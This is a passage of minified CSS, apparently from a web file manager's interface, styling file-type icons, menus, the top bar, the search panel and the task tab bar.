\9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsm.png?ver=3.30',sizingMethod='scale');}.x-xlsx{background-image:url("../../../images/file_icon/icon_file/xlsx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsx.png?ver=3.30',sizingMethod='scale');}.x-xlt{background-image:url("../../../images/file_icon/icon_file/xlt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlt.png?ver=3.30',sizingMethod='scale');}.x-xltx{background-image:url("../../../images/file_icon/icon_file/xltx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xltx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xltx.png?ver=3.30',sizingMethod='scale');}.x-xml{background-image:url("../../../images/file_icon/icon_file/xml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');}.x-xps{background-image:url("../../../images/file_icon/icon_file/xps.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xps.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xps.png?ver=3.30',sizingMethod='scale');}.x-xsd{background-image:url("../../../images/file_icon/icon_file/xsd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsd.png?ver=3.30',sizingMethod='scale');}.x-xsl{background-image:url("../../../images/file_icon/icon_file/xsl.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsl.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsl.png?ver=3.30',sizingMethod='scale');}.x-y{background-image:url("../../../images/file_icon/icon_file/y.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/y.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/y.png?ver=3.30',sizingMethod='scale');}.x-zip{background-image:url("../../../images/file_icon/icon_file/zip.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');}.x-folder{background-image:url("../../../images/file_icon/icon_others/folder.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder.png?ver=3.30',sizingMethod='scale');}.x-folder_share{background-image:url("../../../images/file_icon/icon_others/folder_public.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');}.x-recycle{background-image:url("../../../images/file_icon/icon_others/recycle.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle.png?ver=3.30',sizingMethod='scale');}.x-recycle_full{background-image:url("../../../images/file_icon/icon_others/recycle_full.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle_full.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle_full.png?ver=3.30',sizingMethod='scale');}.x-path_self_share{background-image:url("../../../images/file_icon/icon_others/path_self_public.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/path_self_public.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/path_self_public.png?ver=3.30',sizingMethod='scale');}.x-app_link{background-image:url("../../../images/file_icon/icon_others/app_link.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/app_link.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/app_link.png?ver=3.30',sizingMethod='scale');}.x-user{background-image:url("../../../images/file_icon/icon_others/user.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/user.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/user.png?ver=3.30',sizingMethod='scale');}.x-userSelf{background-image:url("../../../images/file_icon/icon_others/userSelf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/userSelf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/userSelf.png?ver=3.30',sizingMethod='scale');}.x-share{background-image:url("../../../images/file_icon/icon_others/share.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/share.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/share.png?ver=3.30',sizingMethod='scale');}.x-groupSelf{background-image:url("../../../images/file_icon/icon_others/groupSelf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelf.png?ver=3.30',sizingMethod='scale');}.x-groupSelfOwner{background-image:url("../../../images/file_icon/icon_others/groupSelfOwner.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfOwner.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfOwner.png?ver=3.30',sizingMethod='scale');}.x-groupGuest{background-image:url("../../../images/file_icon/icon_others/groupGuest.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupGuest.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupGuest.png?ver=3.30',sizingMethod='scale');}.x-groupSelfRoot{background-image:url("../../../images/file_icon/icon_others/groupSelfRoot.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfRoot.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfRoot.png?ver=3.30',sizingMethod='scale');}.x-groupRoot{background-image:url("../../../images/file_icon/icon_others/groupRoot.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupRoot.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupRoot.png?ver=3.30',sizingMethod='scale');}.x-groupPublic{background-image:url("../../../images/file_icon/icon_others/folder_public.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');}.x-treeSelf{background-image:url("../../../images/file_icon/icon_others/computer.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');}.x-computer{background-image:url("../../../images/file_icon/icon_others/computer.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');}.x-treeFav{background-image:url("../../../images/file_icon/icon_others/treeFav.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/treeFav.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/treeFav.png?ver=3.30',sizingMethod='scale');}.x-edit{background-image:url("../../../images/file_icon/icon_others/edit.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/edit.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/edit.png?ver=3.30',sizingMethod='scale');}.x-search{background-image:url("../../../images/file_icon/icon_others/search.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/search.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/search.png?ver=3.30',sizingMethod='scale');}.x-upload{background-image:url("../../../images/file_icon/icon_others/upload.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/upload.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/upload.png?ver=3.30',sizingMethod='scale');}.x-setting{background-image:url("../../../images/file_icon/icon_others/setting.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/setting.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/setting.png?ver=3.30',sizingMethod='scale');}.x-appStore{background-image:url("../../../images/file_icon/icon_others/appStore.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/appStore.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/appStore.png?ver=3.30',sizingMethod='scale');}.x-error{background-image:url("../../../images/file_icon/icon_others/error.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/error.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/error.png?ver=3.30',sizingMethod='scale');}.x-info{background-image:url("../../../images/file_icon/icon_others/info.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/info.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/info.png?ver=3.30',sizingMethod='scale');}body{font-size:12px;padding:0px;margin:0px;font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}textarea,input,button,pre,p,.can_select{font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;}blockquote{padding:10px 20px;margin:0 0 20px 1em;border-left:10px solid #eee;background:#f6f6f6;}blockquote p{font-size:1em;margin:0px;}input,button,select,textarea{line-height:initial;}a{text-decoration:none;}a:focus{outline:none !important;}.content_box .ace_cjk{width:1em !important;}.content_box .ace_static_highlight{font-size:1.15em;}*,*:before,*:after{-webkit-box-sizing:inherit;-moz-box-sizing:inherit;box-sizing:inherit;}label{font-weight:normal;}pre{border:none;border-radius:0;}.btn-group-sm>.btn{padding:4px 10px;line-height:1em;}.btn{padding:6px 14px;border-radius:3px;}.btn .font-icon{color:#999;}.btn:focus{outline:none;}.btn.btn-default:active,.btn.btn-default.active{border-color:#ADADAD;color:#888;}.btn.btn-left{border-top-right-radius:0;border-bottom-right-radius:0;}.btn.btn-middle{border-radius:0;}.btn.btn-right{border-top-left-radius:0;border-bottom-left-radius:0;}.btn.btn-lg{padding:10px 16px;font-size:18px;line-height:1.33;}.btn.btn-nomal{padding:4px 12px;}.btn.btn-sm{padding:2px 10px;}.btn.btn-xs{padding:1px 5px;font-size:12px;line-height:1.5;}[class^="icon-"],[class*=" icon-"]{background-image:auto;}.dropdown-menu{left:auto;right:0px;border-radius:4px;border:1px solid rgba(0,0,0,0.05);box-shadow:0 4px 30px rgba(0,0,0,0.15);max-height:400px;}.dropdown-menu>li>a:hover,.dropdown-menu .this a,.dropdown-menu>li>a:focus{-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;background-image:none;filter:none;background:#63acff;color:#fff;}.dropdown-menu>li>a{font-weight:inherit;color:#666;}.dropdown-menu>li>a .font-icon{opacity:0.8;}.dropdown-menu:after{content:'';display:inline-block;border-left:6px solid rgba(0,0,0,0);border-right:6px solid rgba(0,0,0,0);border-bottom:6px solid #FFF;position:absolute;top:-6px;right:10px;}.dropdown-menu:before{content:'';left:auto;right:12px;display:inline-block;position:absolute;border-left:7px solid rgba(0,0,0,0);border-right:7px solid rgba(0,0,0,0);top:-7px;border-bottom:7px solid #CCC;border-bottom-color:rgba(0,0,0,0.2);right:9px;}.dropdown-menu.menu-top:after{content:'';display:inline-block;border-left:6px solid rgba(0,0,0,0);top:inherit;border-right:6px solid rgba(0,0,0,0);border-top:6px solid #FFF;border-bottom:none;position:absolute;bottom:-6px;right:10px;}.dropdown-menu.menu-top:before{content:'';left:auto;right:12px;display:inline-block;position:absolute;border-bottom:none;border-left:7px solid rgba(0,0,0,0);border-right:7px solid rgba(0,0,0,0);bottom:-7px;border-top:7px solid #CCC;border-top-color:rgba(0,0,0,0.2);right:9px;top:inherit;}.disable,.disabled{cursor:not-allowed;pointer-events:none;}h1,h2,h3,h4,h5,.h1,.h2,.h3,.h4,.h5{font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;}.can_select,.can_select *{-khtml-user-select:text !important;-webkit-user-select:text !important;-moz-user-select:text !important;-ms-user-select:text !important;-o-user-select:text !important;user-select:text !important;}.can_not_select,.can_not_select *{-khtml-user-select:none !important;-webkit-user-select:none !important;-moz-user-select:none !important;-ms-user-select:none !important;-o-user-select:none !important;user-select:none !important;}.pl-5{padding-left:5px;}.pl-10{padding-left:10px;}.pl-15{padding-left:15px;}.pl-20{padding-left:20px;}.pr-5{padding-right:5px;}.pr-10{padding-right:10px;}.pr-15{padding-right:15px;}.pr-20{padding-right:20px;}.ml-5{margin-left:5px;}.ml-10{margin-left:10px;}.ml-15{margin-left:15px;}.ml-20{margin-left:20px;}.mr-5{margin-right:5px;}.mr-10{margin-right:10px;}.mr-15{margin-right:15px;}.mr-20{margin-right:20px;}.fl{float:left;}.fl-left{float:left;}.fl-right{float:right;}.clear{clear:both;}.FontAwesome{font-family:FontAwesome;font-weight:normal;font-style:normal;text-decoration:inherit;font-size:18px;}.translation-fast{-webkit-transition:all 0.168s ease-in-out;-moz-transition:all 0.168s ease-in-out;-o-transition:all 0.168s ease-in-out;-ms-transition:all 0.168s ease-in-out;transition:all 0.168s ease-in-out;}.translation-nomal{-webkit-transition:all 0.25s ease-in-out;-moz-transition:all 0.25s ease-in-out;-o-transition:all 0.25s ease-in-out;-ms-transition:all 0.25s ease-in-out;transition:all 0.25s ease-in-out;}.translation-slow{-webkit-transition:all 0.5s ease-in-out;-moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;-ms-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out;}.translation-200{-webkit-transition:all 0.2s ease-in-out;-moz-transition:all 0.2s ease-in-out;-o-transition:all 0.2s ease-in-out;-ms-transition:all 0.2s ease-in-out;transition:all 0.2s ease-in-out;}.translation-300{-webkit-transition:all 0.3s ease-in-out;-moz-transition:all 0.3s ease-in-out;-o-transition:all 0.3s ease-in-out;-ms-transition:all 0.3s ease-in-out;transition:all 0.3s ease-in-out;}.translation-500{-webkit-transition:all 0.5s ease-in-out;-moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;-ms-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out;}.translation-1000{-webkit-transition:all 1.0s ease-in-out;-moz-transition:all 1.0s ease-in-out;-o-transition:all 1.0s ease-in-out;-ms-transition:all 1.0s ease-in-out;transition:all 1.0s ease-in-out;}.aui_buttons button{font-size:1em;-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.dialogChangeMax,.dialogChangeMax .aui_main{-webkit-transition:all 0.25s;-moz-transition:all 0.25s;-o-transition:all 0.25s;-ms-transition:all 0.25s;transition:all 0.25s;}.aui_title span{position:absolute;width:80%;overflow:hidden;height:30px;word-break:break-all;text-overflow:ellipsis;white-space:nowrap;}.less-error-message{display:none;}input{border:1px solid #ddd;background:#fff;outline:none;}input[type="radio"],input[type="checkbox"]{border:none;background:none;}.topbar{width:100%;height:40px;color:#ddd;z-index:100;top:0;background:#63acff;position:fixed;}.topbar .content{padding:0px;line-height:40px;height:40px;wordbreak:break-all;}.topbar .content i.font-icon{display:inline-block;padding-right:10px;font-size:1.1em;}.topbar .content .topbar_menu{display:block;text-decoration:none;color:#fff;border:1px solid #4a9eff;overflow:hidden;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;padding:0px 1.2em;border-top:none;border-bottom:none;outline:none;float:left;margin-left:-1px;font-size:14px;}.topbar .content .topbar_menu.title{font-size:20px;width:200px;width:202px\0;padding:0;text-align:center;}.topbar .content .topbar_menu.title:hover{background:none;}.topbar .content .open .topbar_menu,.topbar .content .topbar_menu:hover,.topbar .content .topbar_menu.this{background:#4a9eff;}.topbar .content .menu-desktop:before{content:"\f108";}.topbar .content .menu-explorer:before{content:"\f0ae";}.topbar .content .menu-editor:before{content:"\f044";}.topbar .content .top_left{overflow:hidden;height:40px;width:70%;}.topbar .content .top_right{position:absolute;right:0px;top:0px;margin-right:0px;height:40px;}.topbar .content .top_right .menu_group{height:40px;margin-right:-1px;float:left;position:relative;}.topbar .content .top_right .topbar_menu{display:inline-block;padding:0px 6px;margin-right:1px;}.topbar .content .top_right .topbar_menu i{padding-right:3px;}.topbar .content .top_right .btn{color:#fff;}.topbar .content .top_right ul a{line-height:30px;height:30px;display:block;padding:0px 1.7em;border:none;overflow:hidden;}.topbar .content .top_right ul a:hover,.topbar .content .top_right ul a.this{margin-right:0px;}.topbar .content .top_right ul a.this{background:#63acff;color:#fff;}.topbar .content .top_right ul .font-icon{width:18px;display:inline-block;}.topbar .content .top_right ul.dropdown-menu.topbar_language{width:480px;padding:10px 5px;}.topbar .content .top_right ul.dropdown-menu.topbar_language li{width:120px;float:left;}.topbar .content .top_right ul.dropdown-menu.topbar_language a{padding:0 8px 0 8px;height:26px;line-height:26px;font-size:13px;}.topbar .content .top_right ul.dropdown-menu.topbar_language i.flag{padding-right:0px;background-color:#eee;position:relative;top:1px;}.topbar .content .share_title{text-align:center;color:#fff;float:left;margin-left:8px;margin-right:7px;}.topbar .content .share_title_info{color:#fff;font-size:1.25em;background:#eee;background:rgba(0,0,0,0.2);border-radius:4px;padding:6px;}.topbar .content .share_info{color:#fff;float:left;font-size:1em;}.topbar .content .share_info .time{padding-left:5px;color:#fff;padding-right:8px;}.topbar .content .top_right div.share_info_user{margin-right:10px;color:#fff;position:relative;}.topbar .content .top_right div.share_info_user .btn_download,.topbar .content .top_right div.share_info_user .btn.button_my_share{padding:4px 20px;margin-left:5px;}.topbar .content .top_right div.share_info_user .dropdown-toggle{height:16px;}.common_footer{position:fixed;bottom:0px;background:#f8f8f8;color:#999;font-size:1em;width:100%;text-align:center;border-top:1px solid #e8e8e8;height:31px;line-height:32px;overflow:hidden;}.common_footer .copyright_bottom{cursor:pointer;font-size:1.25em;color:#aaa;text-decoration:none;}.common_footer .copyright_bottom:hover{color:#f60;border-bottom:none;}.do_search{color:#888;}.do_search .search_header{padding:10px;padding-bottom:0px;}.do_search .search_header input[type='checkbox']{padding-left:0px;}.do_search .search_header label{font-size:1em;}.do_search .search_header .btn-right{margin:-5px 0 0 -2px;height:25px;width:30px;padding:0;height:28px \9\0;}.do_search .search_header .s_br{margin-bottom:8px;line-height:25px;}.do_search .search_header #search_value,.do_search .search_header #search_path,.do_search .search_header #search_ext{height:23px;height:27px \0;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;width:125px;padding-left:10px;padding-right:10px;margin-left:5px;}.do_search .search_header #search_value:focus,.do_search .search_header #search_path:focus,.do_search .search_header #search_ext:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.do_search .search_header #search_value{width:190px;margin:0;padding:2px 5px 0px 5px;padding-top:1px \0;}.do_search #search_is_case{margin-left:10px;}.do_search .search_desc{height:30px;line-height:30px;text-align:center;font-size:13px;margin:0px 10px;border:1px solid #ddd;color:#3196e6;background-image:-webkit-linear-gradient(top,#fff,#def);border-top-left-radius:3px;border-top-right-radius:3px;}.do_search .search_result{overflow-y:auto;overflow-x:hidden;position:absolute;top:137px;bottom:0px;right:0px;left:0px;margin:10px;border:1px solid #ddd;border-top:none;border-bottom-left-radius:3px;border-bottom-right-radius:3px;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.do_search .search_result .file-items{list-style:none;margin:0px;padding:10px 0;font-size:13px;}.do_search .search_result .file-item .file-info{height:25px;line-height:25px;cursor:default;padding-left:10px;font-size:13px;color:#444;position:relative;word-wrap:break-word;word-break:break-all;overflow:hidden;}.do_search .search_result .file-item .file-info:hover{background:#eee;}.do_search .search_result .file-item .file-info .title{height:25px;color:#666;padding-left:5px;}.do_search .search_result .file-item .file-info .title:hover{border-bottom:1px solid #1387bb;cursor:pointer;color:#1387bb;}.do_search .search_result .file-item .file-info .switch{width:20px;height:20px;display:inline-block;text-align:center;color:#aaa;font-size:14px;}.do_search .search_result .file-item .file-info .file-icon{display:inline-block;width:18px;height:18px;}.do_search .search_result .file-item .file-info .file-icon img{width:100%;height:100%;}.do_search .search_result .file-item .file-info .result-num{margin:0 5px;border-radius:10px;background-color:#dfeaf3;color:#666;font-size:12px;padding:3px 8px;font-weight:bold;}.do_search .search_result .file-item .file-info .goto{position:absolute;right:0;top:0;width:30px;height:25px;line-height:25px;text-align:center;color:#bbb;background:#fff;cursor:pointer;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.do_search .search_result .file-item .file-info .goto:hover{background:#fbbc00;color:#fff;}.do_search .search_result .file-item .file-info:hover .goto{display:block;}.do_search .search_result .file-item .keyword{background:#ffef65;color:#000;}.do_search .search_result .file-item .result-item{list-style:none;margin:0px;padding:0px;}.do_search .search_result .file-item .result-item .result-info{height:25px;margin:0px;padding:0;line-height:25px;padding:0 15px;cursor:default;overflow:hidden;white-space:nowrap;text-overflow:ellipsis;}.do_search .search_result .file-item .result-item .result-info:hover{background:#eee;}.do_search .search_result .file-item .result-item .result-info.this,.do_search .search_result .file-item .result-item .result-info.this:hover{background:#63acff;}.do_search .search_result .file-item .result-item .result-info.this .line,.do_search .search_result .file-item .result-item .result-info.this .search-info,.do_search .search_result .file-item .result-item .result-info.this:hover .line,.do_search .search_result .file-item .result-item .result-info.this:hover .search-info{color:#fff;}.do_search .search_result .file-item .result-item .line{display:inline-block;width:32px;margin-left:7px;padding-right:4px;text-align:right;font-weight:800;color:#aaa;}.do_search .search_result .file-item .result-item .search-info{font-family:Menlo, Consolas, source-code-pro, Monaco, 'Liberation Mono', 'Ubuntu Mono', Courier, 'Helvetica Neue', 'Microsoft Yahei', '微软雅黑', 'Lantinghei SC', STXihei, WenQuanYi, sans-serif;color:#444;}.do_search .search_result .file-item.open .file-info .switch .icon-caret-right:before{content:"\f0d7";}#maskViewContent .upload-tips{text-align:center;}#maskViewContent .upload-tips .icon-cloud{opacity:0.8;}#maskViewContent .upload-tips .icon-cloud.cloud2{font-size:180px;}#maskViewContent .upload-tips .icon-cloud.cloud1,#maskViewContent .upload-tips .icon-cloud.cloud3{position:absolute;opacity:0.6;}#maskViewContent .upload-tips .icon-cloud.cloud1{margin-left:-60px;margin-top:110px;-webkit-animation:moveLeftLoop 8.0s infinite ease-in-out;animation:moveLeftLoop 8.0s infinite ease-in-out;}#maskViewContent .upload-tips .icon-cloud.cloud3{margin-left:-50px;margin-top:60px;font-size:60px;animation-delay:4s;-webkit-animation-delay:4s;-webkit-animation:moveLeftLoop 10.0s infinite ease-in-out;animation:moveLeftLoop 10.0s infinite ease-in-out;}#maskViewContent .upload-tips .cloud-moveup{height:70px;}#maskViewContent .upload-tips .cloud-moveup i{position:absolute;margin-left:-23px;margin-top:-16px;}.task_tab{position:fixed;bottom:1px;left:0;width:100%;height:30px;padding-left:50px;z-index:100;background:rgba(0,0,0,0.1);border-top:1px solid rgba(0,0,0,0.15);color:#444;}.task_tab .tabs{height:100%;margin-right:20px;margin-right:60px;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.task_tab .tabs .tab{float:left;height:29px;margin-right:2px;white-space:nowrap;text-overflow:ellipsis;width:110px;border:1px solid rgba(255,255,255,0.4);line-height:30px;text-shadow:0px 0px 0px #fff, 0px 0px 4px #000, 0px 0px 5px #000;color:#fff;border-radius:3px;cursor:default;overflow:hidden;font-size:1em;box-shadow:0 0 6px #666;padding-left:4px;word-break:break-all;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.3)', endColorstr='rgba(255,255,255,0)');background:rgba(255,255,255,0);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.3),rgba(255,255,255,0));-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.task_tab .tabs .tab.hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.5)', 